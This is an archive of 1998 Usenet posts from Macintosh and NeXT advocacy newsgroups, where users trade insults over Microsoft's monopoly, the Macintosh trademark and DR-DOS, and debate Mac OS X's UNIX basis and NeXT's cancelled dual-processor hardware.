Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <stmb-2009980849510001@cc678799-a.hwrd1.md.home.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net>
Organization: MYOB
Date: Sun, 20 Sep 1998 12:46:40 GMT
NNTP-Posting-Date: Sun, 20 Sep 1998 05:46:40 PDT
In article <6u24bb$m92$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
>
> FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
>
Of course all you can do with it is run a bunch of crappy old dos app's at
a screaming fast 12 mhz.
But that really is your speed Todd..........
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <stmb-2009980849510001@cc678799-a.hwrd1.md.home.com>
Subject: Re: Monopolies
MIME-Version: 1.0
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charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-ID: <2n7N1.393$sB1.424805@newsfeed.slurp.net>
Date: Sun, 20 Sep 1998 06:17:42 -0700
NNTP-Posting-Date: Sun, 20 Sep 1998 08:25:18 CDT
Organization: Slurp News Feeds
Spam this Monkey Boy wrote in message ...
>> FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
>
>
>Of course all you can do with it is run a bunch of crappy old dos app's at
>a screaming fast 12 mhz.
16MHz I believe...
Dan
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sun, 20 Sep 1998 10:11:03 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2009981011040001@166-93-82-37.rmi.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net>
NNTP-Posting-Date: 20 Sep 1998 16:08:31 GMT
In article <6u24bb$m92$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Donald Brown wrote in message ...
> >No accounting for taste, I guess. Of course, my PowerPC G3 233MHz is
> >going to run rings around your 286, but if your hatred is so irrational
> >and overpowering, well, isn't it good that there's a choice?
>
>
> FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
Evidence to support this "fact" please.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sun, 20 Sep 1998 10:09:47 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2009981009480001@166-93-82-37.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net> <Josh.McKee-1909981217550001@166-93-57-192.rmi.net> <6u12j0$3jf$1@ash.prod.itd.earthlink.net> <Josh.McKee-1909982143420001@166-93-57-197.rmi.net> <6u24eh$mdi$1@birch.prod.itd.earthlink.net>
NNTP-Posting-Date: 20 Sep 1998 16:07:16 GMT
In article <6u24eh$mdi$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joshua T. McKee wrote in message ...
> >In article <6u12j0$3jf$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
> ><s124@[REMOVE]earthlink.net> wrote:
> >
> >> Joshua T. McKee wrote in message ...
> >> >In article
> <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net>,
> >> >macghod@concentric.net (Steve Sullivan) wrote:
> >> >
> >> >> In article <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>,
> >> >> don.brown@cesoft.com (Donald Brown) wrote:
> >> >>
> >> >> > >>In fact, just Microsoft should be illegal.
> >> >> > >
> >> >> > >My my my, you are a macsheep! Baaaa.... take away microsoft's
> >> >constitutional
> >> >> > >rights.... Baaaaaaaaaaaa.....
> >> >> > >
> >> >> > >You should read the constitution someday.
> >> >> > >
> >> >> > And you should read the anti-trust laws.
> >> >>
> >> >> Really?
> >> >> I didnt realize their was anything in the constitution making
> microsoft
> >> >illegal
> >> >
> >> >
> >> >Where did he say anything about the constitution? He specifically
> stated
> >> >"anti-trust" laws.
> >>
> >>
> >> Josh: Baaaaa.... Baaaaa... I caaaaaaant reeeeeead... Baaaaaa baaaaaaaa.
> >
> >
> >Of course you can't read...if you could, you obviousl would have seen that
> >he said "anti-trust" law and not consitution.
>
>
> I was saying that YOU can't read. Sheesh!!!
Gee! Imagine that! Is that what you meant to say?
I knew exactly what you said idiot. And that changes nothing. It is
obvious that you can't read, not me. Here's the conversation again, for
your convienence:
You: You should read the constitution someday.
Donald Brown: And you should read the anti-trust laws.
Steve Sullivan: Really? I didnt realize their was anything in the
constitution making microsoft illegal
Your claim was to "read the consisitution". To which Donald Brown
responded "you should read the anti-trust laws". With Steve Sullivan
saying "Really? I didnt realize their was anything in the constitution
making microsoft illegal". To which I responded "Where did he say anything
about the constitution?".
Steve Sullivans statement, while maybe correct, did not address Donald
Browns statement regarding anti-trust laws. Donald Brown clearly did not
mention anything about the constitution. He mentioned "anti-trust" laws.
But Steve Sullivan setup a straw man by using the constitution, not
anti-trust laws, in his response.
So you see, my reading comprehension is just fine. It is others here who
are having a difficult time.
> >Of course, instead of addressing the issue, you'd rather call names.
> >Typical of idiots who cannot form a real arguement.
>
>
> I made a arguement. Too bad you didn't read it.
I think I've demonstrated clearly that I read everything necessary in
order to make the statement I did. If there was another arguement,
perhaps I didn't see it. But that doesn't matter because it is irrelavent
to my asking Steve Sullivan where Donald Brown mentioned anything about
the constitution.
Josh
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sun, 20 Sep 1998 11:19:31 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u3h0f$93k$1@holly.prod.itd.earthlink.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <stmb-2009980849510001@cc678799-a.hwrd1.md.home.com>
Spam this Monkey Boy wrote in message ...
>In article <6u24bb$m92$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>>
>> FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
>>
>
>
>Of course all you can do with it is run a bunch of crappy old dos app's at
>a screaming fast 12 mhz.
I'd rather be using crappy software @ 16MHZ than using crappy MAC software
at 300MHz.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 20 Sep 1998 11:22:42 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u3h6e$9di$1@holly.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <joe.ragosta-1909981818460001@elk70.dol.net> <6u1lk2$ssm$1@birch.prod.itd.earthlink.net> <joe.ragosta-2009980652560001@elk88.dol.net>
Joe Ragosta wrote in message ...
>In article <6u1lk2$ssm$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Joe Ragosta wrote in message ...
>> >In article <6u0jgo$esu$1@oak.prod.itd.earthlink.net>, "Todd Arneson"
>> ><s124@[REMOVE]earthlink.net> wrote:
>> >
>> >> Joe Ragosta wrote in message ...
>> >> >In article <JuGM1.187$vp1.313907@newsfeed.slurp.net>, "Dan"
>> >> ><dan@knowspaam.com> wrote:
>> >> >
>> >> >> Joe Ragosta wrote in message ...
>> >> >>
>> >> >> >> Apple has a monopoly of the mac market, not apple has a monopoly
of
>> >> the
>> >> >> >> apple market.
>> >> >> >
>> >> >> >OK. The more appropriate analogy is that Compaq has a monopoly of
the
>> >> >> >Presario market and IBM has a monopoly on the ThinkPad market.
It's
>> the
>> >> >> >same thing. And it's a meaningless statement.
>> >> >> >
>> >> >> >Macintosh is a registered tradename for some computers
manufactured
>> by
>> >> >> >Apple Computer.
>> >> >>
>> >> >> No... The Presario is not a platform, and neither is the ThinkPad.
The
>> >> >> Macintosh is a platform.
>> >> >
>> >> >How many times does this need to be explained to you?
>> >> >
>> >> >Go to the U.S. Trademark office and look up "Macintosh". It's the
name
>> of
>> >> >a specific line of computers manufactured by Apple computer.
>> >>
>> >>
>> >> You sure are stupid! Macintosh means the Macintosh Platform, Apple,
UMAX,
>> >> and Motorola to name a few, running Apple MacOS or equivalent.
>> >
>> >_I_ am stupid? Then you should have no problem finding a Umax or
>> >PowerComputing ad calling their computers "Macintosh" computers.
>> >
>> >You can't. Because they didn't. Because Apple would have sued their
butts
>> >for trademark violation.
>>
>>
>> They call them Macintosh Compatibles.
>
>Correct. Which is exactly what I've been saying for quite some time now.
>
>Now, are you going to retract your statement calling me stupid?
Nope.
>Or are you
>the one who doesn't understand the difference between "Macintosh" and
>"Macintosh Compatible"?
I'm the one telling YOU!!
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 20 Sep 1998 11:25:10 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u3hb2$9sn$1@holly.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net>
Joshua T. McKee wrote in message ...
>In article <6u24rn$mu3$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Joshua T. McKee wrote in message ...
>> >In article <6u0jgo$esu$1@oak.prod.itd.earthlink.net>, "Todd Arneson"
>> ><s124@[REMOVE]earthlink.net> wrote:
>> >
>> >> Joe Ragosta wrote in message ...
>> >> >In article <JuGM1.187$vp1.313907@newsfeed.slurp.net>, "Dan"
>> >> ><dan@knowspaam.com> wrote:
>> >
>> >> >How many times does this need to be explained to you?
>> >> >
>> >> >Go to the U.S. Trademark office and look up "Macintosh". It's the
name
>> of
>> >> >a specific line of computers manufactured by Apple computer.
>> >>
>> >>
>> >> You sure are stupid! Macintosh means the Macintosh Platform, Apple,
UMAX,
>> >> and Motorola to name a few, running Apple MacOS or equivalent.
>> >
>> >
>> >The only idiot is yourself. The Macintosh is a trademark.
>>
>> Yes, I know. But "macintosh compatable" is not. Just like "IBM
Compatible"
>> doesn't infringe on IBM's rights. Wake up you MacSheep!
>
>
>But you didn't say "Macintosh compatible"...you said:
>
>"You sure are stupid! Macintosh means the Macintosh Platform, Apple,
>UMAX,and Motorola to name a few, running Apple MacOS or equivalent."
>
>When you said that "Macintosh means the Macintosh platform", you were
>wrong. Macintosh means a particular brand of computers made by Apple.
>Macintosh compatible referes to any computer capable of running the same
>software as Apples Macintosh compatibles.
>
>It appears that you are the one who was incorrect, now you're trying to
>weasle out of it by changing what you wrote.
>
>
>> >Of course, being as dumb as you are, you won't.
>>
>> Wow, hard hitting insults. What next, are you going to call me a clown
just
>> like you buddy Derek? BAHAHAHA!
>
>
>Hard hitting insults? Calling you dumb is a hard hitting insult? If I
>had to classify it as an insult, I would consider it rather weak. However
>it was an observation. You clearly have demonstrated that you aren't very
>intelligent.
ARE YOU STUPID OR WHAT?!?!?!? Ever hear of SARCASIM?!?!?!?!? I guess I
better but this line in every post if I use sarcasm:
-----
To the Mac-Impaired, I'm being sarcastic
-----
You mac users scare me.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Stephen Totten" <stephent@comm.mot.com>
Newsgroups: comp.sys.next.advocacy
Subject: Worried about MacOS X
Date: Sun, 20 Sep 1998 18:46:59 +0100
Organization: Motorola Inc.
Message-ID: <6u3f47$3nb$1@schbbs.mot.com>
I'm kindof worried that Apple are choosing to base their new 'consumer' OS
on top of what is basically UNIX, which definitely not a consumer OS (e.g.
who would think of looking in /etc to find the password file, and setting up
printers is a job and a half).
To me windows seems slightly hairy because of the sheer amount of stuff that
is hidden (DLL's, etc). Apple seem to be doing the same with their 'Unix
expert' option.
I realise that changing file locations would require a major UNIX rewrite,
but sweeping things under the carpet just seems sloppy to me.
- Steve
(All views are my own, and are nothing to do with my company)
Message-ID: <360571EA.7CBACC53@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
References: <6u3f47$3nb$1@schbbs.mot.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sun, 20 Sep 1998 17:18:49 EDT
Date: Sun, 20 Sep 1998 14:21:46 -0700
Stephen Totten wrote:
* I'm kindof worried that Apple are choosing to base
* their new 'consumer' OS on top of what is basically
* UNIX, which definitely not a consumer OS (e.g. who
* would think of looking in /etc to find the password
* file, and setting up printers is a job and a half).
I get the impression --- please correct me if I'm wrong ---
that you are not familiar with NextStep. On NextStep,
you don't mess around in /etc to edit the password file.
You use the User Manager to adminster accounts. To set
up printers on NextStep, you use the Printer Manager.
* To me windows seems slightly hairy because of the
* sheer amount of stuff that is hidden (DLL's, etc).
* Apple seem to be doing the same with their 'Unix
* expert' option.
Coming from a background of hacking on UNIX since the
mid-1970s [some people say I wrote "the Bible" of
UNIX usage], I managed to do five or six years of fairly
heavy-duty application development on NextStep, with the
'UNIX Expert' option turned OFF.
* I realise that changing file locations would require
* a major UNIX rewrite, but sweeping things under the
* carpet just seems sloppy to me.
Would you mind taking a good look at NextStep before
posting any more opinions of this nature? How much
NextStep usage experience do you have, versus how much
regular old generic *NIX?
To old-time NextStep hackers like myself, we take it on
faith that the NextStep base can migrate fairly easily
[with all due apologies to the NextStep/OpenStep team who
have to make it real] to a consumer-oriented marketplace.
The job won't necessarily be a piece of cake, but we
believe it'll be one hell of a lot easier than starting
with SCO or Solaris or Irix or AIX or any of the other
*NIXs that have had essentially no improvements made for
the past twenty years. And I don't consider X-Windows-
based graphical-appearing terminal windows into which you
type your UNIX commands as an improvement.
As an aside, I was amused the other day to see that Sun
have signed a deal with the InstallShield people to
"bring the ease of use of a PC to Solaris". This from the
company that had a GUI environment in 1982. The
NextStep Installer package, as another example, is much
more capable than anything on Mac or PC, having the added
capability of being able to un-install reliably.
Granted, the migration from Mach/NextStep to something
at the ease of use level of a toaster isn't an easy task,
which is why it's coming out in a server version first.
People who manage servers usually have a somewhat different
base of technical knowledge than people who drive
PhotoShop for a living. That is to say, while I probably
know more about TCP/IP than my graphic designer friends,
they probably know a whole lot more about image enhancement
than I ever will.
So the message is, please take a look at the product before
wading in with FUD --- we've had enough FUD this past couple
of years from the ignorati.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <no-spam-2009982108030001@port-39-37.access.one.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <stmb-2009980849510001@cc678799-a.hwrd1.md.home.com> <6u3h0f$93k$1@holly.prod.itd.earthlink.net>
Date: 20 Sep 1998 21:00:05 -0500
Organization: OneNet Communications News Hub
In article <6u3h0f$93k$1@holly.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Spam this Monkey Boy wrote in message ...
> >In article <6u24bb$m92$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
> ><s124@[REMOVE]earthlink.net> wrote:
> >>
> >> FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
> >>
> >
> >
> >Of course all you can do with it is run a bunch of crappy old dos app's at
> >a screaming fast 12 mhz.
>
>
> I'd rather be using crappy software @ 16MHZ than using crappy MAC software
> at 300MHz.
>
>
That's pretty sad.
--
To reply, replace "no-spam" with "mottbi"
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 21 Sep 1998 10:27:02 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6u62qo$m6q$1@plo.sierra.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <6ssrdr$q3u$1@ash.prod.itd.earthlink.net> <6u5cmr$jcs$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 21 Sep 1998 17:36:24 GMT
hughesojh@my-dejanews.com wrote in message
<6u5cmr$jcs$1@nnrp1.dejanews.com>...
>On MAC OS, try typing in the first couple of letters of an icon's name.
>
>It is highlighted.
>
>If you then type the first couple of letters of another icon's name, it is
>switched to.
>
>Windoze doesn't implement the second part of this.
Sure it does.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6u56js$lfu$9399@hyperion.nitco.com>
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From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 21 Sep 1998 10:35:34 GMT
Organization: Michigan State University
Message-ID: <6u5a5m$8s6$3@msunews.cl.msu.edu>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu>
<6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
<6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com>
<6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com>
<6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net>
<6tpffs$2fc$3@msunews.cl.msu.edu> <6tpjf0$18r$3@news.xmission.com>
<1dfjnm0.11ahe4i1xxlnpsN@h209-21-28-6.ncal.verio.net> <6u0401$mim$1@ironhorse.plsys.co.uk>
<6u10iu$gb4$4@msunews.cl.msu.edu> <gQZM1.7244$MS.17924323@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rr6013@yahoo.com
In <gQZM1.7244$MS.17924323@news.rdc1.sdca.home.com> rr6013@yahoo.com wrote:
> In <6u10iu$gb4$4@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
> wrote:
> > BTW: Based on discussions with Moose I'm rather sure NeXT would have
> > sold over a million of the NRW's from 93-96 - probably more..
> >
> > Just too bad I guess.
> >
> >
>
> Whoa... when NRW was about to release there was no such demand. NeXT had
> sold 50,000+ NeXTstations commercially and three letter gov't agencies had
> stopped their consumption of black hardware. NeXT lost the Soloman (I
> think) account in NY... then NeXT announced they would kill hardware. It
> was all over...
>
> If Moose is so sure they had 1mil NRW's sold, SJ would not have shuttered
> the factory. Moose's memory is more vivid than accurate in this instance.
> No offense to Moose, since Moose sounds like a name for a Big Fella :-)
>
Tell me something. You have a dual processor box that is nearly completely
different than the previous hardware. How can you even judge based on
the other machines sales whether the new one will do well.
Ultimately the question would have been price. I mean if they had priced
it @ $100K the NRW surely would have failed. If they could have priced
it in the 4-6K range based on hindsight and my discussions with Moose
I again state that many, many more than 50K units would have been sold.
Thing is I know NeXT was heavily in debt, but the NRW was pretty darn
close. There was a crapload of software out for NeXT - not everything -
but alot. Even though NeXT had lost some big accounts the universities
would have eaten up the dual - and would have been happy to put
4 dual boards into a Cube to have a 8 cpu box, etc.
Education was eating up NeXT pretty good - and would have continued.
Had NeXT came out with the NRW I wouldn't have been suprised if
the 3 letter and other clients might have come back.
If you were so in touch with what they were doing care to give a clue
what they were replacing those boxes with? I mean the 3 letter guys
were the ones to insist on support for 5 years - tell me they wern't using
the boxes. I would also suspect that the 3 letter and big companies
got wind of NeXT dropping hardware way before it happened, or
were facing the fact that NeXT wasn't taking off like everyone wanted.
Gee you think 4-15K was just a little too high for the common folk
to pay for a computer (espeically students). It all came down to
price - and marketing. Though at that time Intel/MS was taking
off like mad because of various monopolistic practices. I'm rather
sure SMP PPC boxes would have sold very well at the 2K/cpu
range. Think about it a dual 601 PPC doing SMP in 93? People
who had NeXTStep were waiting with baited breath for hardware
upgrades or new boxes the NRW would have saited them.
I know I was there everyone was drooling over the rumors on
that box. At least in education they were ready to put down
solid money for new boxes - and at that time they had it too.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: 21 Sep 1998 10:45:37 GMT
Organization: Michigan State University
Message-ID: <6u5aoh$8s6$4@msunews.cl.msu.edu>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy>
<360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: henry@trilithon.com
In <3605FA5F.F07323AD@trilithon.com> Henry McGilton wrote:
> Steve Kellener wrote:
> * And don't leave out the ability to run Win '9X apps. via
> * Soft Windows or VPC. Personally I could care less about these.
> And the sad aspect of the original posting is that the poster
> was worried about UNIX as a basis for Mac O' Sex.
>
I agree wholeheartedly. What drivel. Somehow it is easy
to see that probably neither of these posters has ever used
MacOS nor most certianly NeXTstep/Openstep.
While I very much appreciate the x86 legacy effect - this
would only apply to users currently using x86 based MS
OS's - as it applies to migration paths from MS to Apple
OS.
I agree being able to run 95 in softwindows at reasonable
or near native speeds on x86 hardware, akin to BlueBox on
PPC running 040 code (not native on PPC) is a very
desirable feature because it gives x86 folks a less painless
migration path to MacOS X Server. Thought I'm not
convinced this is critical to the Apple strategy since
you can have YB on Windows until you get weened
from your 9x apps.
If 9x apps is all you care about then crawl back into
your 9x hole and don't come back you troll!
:)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: [Qs:]Re: Worried about MacOS X
Date: Mon, 21 Sep 1998 10:56:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u5bd6$hej$1@nnrp1.dejanews.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com>
How come it won't come with support for X-Apps?
I know that the GUI is based on the NeXT/Openstep model, but you could get
apps for running X seamlessly in windows under those.
Why don't apple include a X-Server?
An OS that can run apps for 3/4 different OS's seamlessly would really be
useful.
Hmmm.
